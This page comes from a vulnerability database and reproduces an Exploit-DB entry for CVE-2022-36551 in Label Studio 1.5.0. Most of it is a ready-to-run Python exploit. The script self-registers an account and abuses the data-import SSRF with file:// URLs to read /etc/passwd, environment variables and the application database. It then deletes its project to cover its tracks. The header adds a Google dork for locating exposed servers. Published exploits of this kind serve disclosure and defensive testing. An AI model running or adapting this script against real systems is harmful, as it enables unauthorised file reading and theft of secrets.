Lucene search
K

Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF)

🗓️ 28 Mar 2023 00:00:00Reported by Ryan SmithType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 178 Views

Label Studio 1.5.0 - Authenticated SSRF in Heartex - Label Studio Community Editio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Label Studio 1.5.0 - Authenticated Server Side Request Forgery Vulnerability
28 Mar 202300:00
zdt
ATTACKERKB
CVE-2022-36551
3 Oct 202212:15
attackerkb
Circl
CVE-2022-36551
10 Nov 202222:53
circl
CNNVD
Heartex Label Studio 代码问题漏洞
3 Oct 202200:00
cnnvd
CNVD
Heartex Label Studio Server-Side Request Forgery Vulnerability
11 Oct 202200:00
cnvd
CVE
CVE-2022-36551
3 Oct 202200:00
cve
Cvelist
CVE-2022-36551
3 Oct 202200:00
cvelist
EUVD
EUVD-2022-0136
3 Oct 202520:07
euvd
Github Security Blog
Heartex - Label Studio Community Edition vulnerable to SSRF in the Data Import module
4 Oct 202200:00
github
NVD
CVE-2022-36551
3 Oct 202212:15
nvd
Rows per page
# Exploit Title: Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF)
# Google Dork: intitle:"Label Studio" intext:"Sign Up" intext:"Welcome to Label Studio Community Edition"
# Date: 2022-10-03
# Exploit Author: @DeveloperNinja, [email protected]
# Vendor Homepage: https://github.com/heartexlabs/label-studio, https://labelstud.io/
# Software Link: https://github.com/heartexlabs/label-studio/releases
# Version: <=1.5.0
# CVE : CVE-2022-36551
# Docker Container: heartexlabs/label-studio

# Server Side Request Forgery (SSRF) in the Data Import module in Heartex - Label Studio Community Edition 
# versions 1.5.0 and earlier allows an authenticated user to access arbitrary files on the system. 
# Furthermore, self-registration is enabled by default in these versions of Label Studio enabling a remote 
# attacker to create a new account and then exploit the SSRF.

#
# This exploit has been tested on Label Studio 1.5.0
#

# Exploit Usage Examples (replace with your target details):
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /etc/passwd
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /proc/self/environ
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /label-studio/data/label_studio.sqlite3 --out label_studio.sqlite3.sqlite3


import json
import argparse
import requests
import shutil                    
from urllib.parse import urljoin
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings() 

# main function for exploit
def main(url, filePath, writePath, username, password, shouldRegister):
    # check if the URL is reachable
    try:
        r = requests.get(url, verify=False)
        if r.status_code == 200:
            print("[+] URL is reachable")
        else:
            print("[!] Error: URL is not reachable, check the URL and try again")
            exit(1)

    except requests.exceptions.RequestException as e:
        print("[!] Error: URL is not reachable, check the URL and try again")
        exit(1)

    session = requests.Session()

    login(session, url, username, password, shouldRegister)
    print("[+] Logged in")
    print("[+] Creating project...")

    # Create a temp project
    projectDetails = create_project(session, url)
    print("[+] Project created, ID: {}".format(projectDetails["id"]))

    #time for the actual exploit, import a "file" to the newly created project (IE: file:///etc/passwd, or file:///proc/self/environ)
    print("[+] Attempting to fetch: {}".format(filePath))
    fetch_file(session, url, projectDetails["id"], filePath, writePath)

    print("[+] Deleting Project.. {}".format(projectDetails["id"]))
    delete_project(session, url, projectDetails["id"])
    print("[+] Project Deleted")

    print("[*] Finished executing exploit")


# login, logs the user in
def login(session, url, username, password, shouldRegister):

    # hit the main page first to get the CSRF token set
    r = session.get(url, verify=False)

    r = session.post(
        urljoin(url, "/user/login"),
        data={
            "email": username,
            "password": password,
            "csrfmiddlewaretoken": session.cookies["csrftoken"],
        },
        verify=False
    )

    if r.status_code == 200 and r.text.find("The email and password you entered") < 0:
        return
    elif r.text.find("The email and password you entered") > 0 and shouldRegister:
                
        print("[!] Account does not exist, registering...")
        r = session.post(
            urljoin(url, "/user/signup/"),
            data={
                "email": username,
                "password": password,
                "csrfmiddlewaretoken": session.cookies["csrftoken"],
                'allow_newsletters': False,
            },
        )
        if r.status_code == 302:
            # at this point the system automatically logs you in (assuming self-registration is enabled, which it is by default)
            return

    else:
        print("[!] Error: Could not login, check the credentials and try again")
        exit(1)


# create_project creates a temporary project for exploiting the SSRF
def create_project(session, url):



    r = session.post(
        urljoin(url, "/api/projects"),
        data={
            "title": "TPS Report Finder",
        },
        verify=False
    )

    if r.status_code == 200 or r.status_code == 201:
        return r.json()
    else:
        print("[!] Error: Could not create project, check your credentials / permissions")
        exit(1)

def fetch_file(session, url, projectId, filePath, writePath):

    # if scheme is empty prepend file://
    parsedFilePath = urlparse(filePath)

    if parsedFilePath.scheme == "":
        filePath = "file://" + filePath

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    url = urljoin(url, "/api/projects/{}/import".format(projectId))
    r = session.post(url,
        data={
            "url": filePath, # This is the main vulnerability, there is no restriction on the "schema" of the provided URL
        },
        headers=headers, 
        verify=False
    )

    if r.status_code == 201:
        # file found! -- first grab the file path details
        fileId = r.json()["file_upload_ids"][0]
        r = session.get(urljoin(url, "/api/import/file-upload/{}".format(fileId)), headers=headers, verify=False)
        r = session.get(urljoin(url, "/data/{}".format(r.json()["file"])), headers=headers, verify=False, stream=True)
        print("[+] File found!")

        # if user wants to write to disk, make it so
        if writePath != None:
            print("[+] Writing to {}".format(writePath))
            # write the file to disk
            with open(writePath, 'wb') as handle:
                shutil.copyfileobj(r.raw, handle)
                handle.close()
            return
        else:
            print("==========================================================")
            print(r.text)
            print("==========================================================")
            return
    else:
        print("[!] Error: Could not fetch file, it's likely the file path doesn't exist: ")
        print("\t" + r.json()["validation_errors"]["non_field_errors"][0])
        return


def delete_project(session, url, projectId):

    url = urljoin(url, "/api/projects/{}".format(projectId))
    r = session.delete(url, verify=False)
    if r.status_code == 200 or r.status_code == 204:
        return
    else:
        print( "[!] Error: Could not delete project, check your credentials / permissions")
        exit(1)

parser = argparse.ArgumentParser()

parser.add_argument("--url", required=True, help="Label Studio URL")
parser.add_argument("--file", required=True, help="Path to the file you want to fetch")
parser.add_argument("--out", required=False, help="Path to write the file.  If omitted will be written to STDOUT")
parser.add_argument("--username", required=False, help="Username for existing account (email)")
parser.add_argument("--password", required=False, help="Password for existing account")
parser.add_argument("--register", required=False, action=argparse.BooleanOptionalAction, help="Register user if it doesn't exist",
)

args = parser.parse_args()
main(args.url, args.file, args.out, args.username, args.password, args.register)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation